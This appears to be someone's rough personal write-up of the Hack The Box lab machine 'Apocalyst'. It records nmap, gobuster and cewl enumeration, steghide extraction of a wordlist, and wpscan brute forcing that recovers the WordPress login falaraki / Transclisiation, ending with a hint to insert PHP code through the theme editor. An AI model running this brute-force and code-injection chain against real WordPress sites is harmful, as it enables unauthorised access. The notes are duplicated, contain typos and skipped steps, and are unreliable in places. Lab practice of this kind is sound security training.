

# Apocalyst

## SYNOPSIS

Apocalyst is a fairly straightforward machine, however it requires a wide range of tools and techniques to complete. It touches on many different topics and can be a great learning resource for many.

## Skills Required

- Intermediate knowledge of Linux
- Wordlist generation

## Skills Learned

- Enumerating ports and services
- HTTP-based brute forcing
- Basic steganograpy
- Exploiting permissive system files

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Classification: Official

YouTube Video



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ENUM NETWORK/DEVICES

`nmap -sC -sV -oA nmapscan1 10.10.10.46`

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Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-13 12:20 KST
Nmap scan report for 10.10.10.46
Host is up (0.90s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 90.57 seconds
```

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)

| 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)

|\_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

|\_ Supported Methods: GET HEAD POST OPTIONS

|\_http-server-header: Apache/2.4.18 (Ubuntu)

|\_http-title: Apocalypse Preparation Blog

|\_http-generator: WordPress 4.8

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Make a Wordlist

cewl 10.10.10.46 > Apocayst-wordlist.txt

Running drib or gobuster

gobuster dir -u http://10.10.10.46 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

saved to ap-gobust-results.txt

Visited <http://10.10.10.46/Rightiousness/>

Downloaded picture



\*\*\*SKIPPED STEP\*\*\*

Exploitation

Steghide

Saving the image from Rightiousness and running steghide against it with a blank passphrase will output a list.txt file, which is a list of random words of varying languages.

Command: steghide extract -sf apocalyst.jpg

Find admin user name by viewing a post

\*\*\*This I couldn't do\*\*\*

Using the list.txt file as a password list, it is possible to brute force the falaraki user with wpscan .

To fix the majority of Wordpress loading and rendering issues, apocalyst.htb must be added to /etc/hosts

Command:

wpscan --url http://10.10.10.46 --wordlist /root/Desktop/writeups/apocalyst/list.txt --username falaraki

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wpscan --url http://10.10.10.46 -w wordlist/root/Desktop/wlscaps/apocalypse/1st.txt --username falaraki
```

Note: the full path to the wordlist must be provided

Searching for vulnerabilities; enumerates themes, plugins, users

```
sudo wpscan --url http://10.10.10.46 --enumerate t,p,u
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[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:03 <=====> (10 / 10) 100.00% Time: 00:00:03

[i] User(s) Identified:

[+] falaraki
  | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
```

Define Wordlist

```
sudo cewl 10.10.10.46 -w apoc2.txt
```

Find Directories

```
sudo gobuster dir -u 10.10.10.46 -w apoc2.txt
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Since all return same code (301), add -l for "length"

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sudo gobuster dir -u 10.10.10.46 -w apoc2.txt -l
```

//Apokalypsis

Steghide

```
sudo apt-get install steghide
steghide --info image.jpg
steghide --extract -sf image.jpg
finds list.txt
```

Crack falaraki with password list

```
sudo wpscan --url 10.10.10.46 --usernames falaraki -P list.txt
```

```
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - falaraki / Transclisiation
Trying falaraki / total Time: 00:00:59 <=====> > (335 / 821) 40.80% ETA: ??:??:??
[!] Valid Combinations Found:
  | Username: falaraki, Password: Transclisiation
```

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```
nmap -sV -p-
go to website
dirb 10.10.10.46
nikti -h 10.10.10.46 > running Apache 2.4.18 Ubuntu;
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../accounts
../blog
../wp-login.php
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```
dirb 10.10.10.46 --
```

```
wpscan --url http://10.10.10.46 --enumerate u
```

Bruteforce falaraki

```
wpscan --url 10.10.10.46 --usernames falaraki --passwords Apocayst wordlist.txt
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wpscan --url 10.10.10.10 --usernames falaraki --passwords Apocayst-words.txt

[+] Performing password attack on Wp Login against 1 user/s  
[SUCCESS] - falaraki / Transclisiation  
Trying falaraki / for Time: 00:00:03 <= > (15 / 492) 3.04% ETA: ??:??:??  
  
[!] Valid Combinations Found:  
| Username: falaraki, Password: Transclisiation

Log into WP  
go to themes edit, find a php form and insert code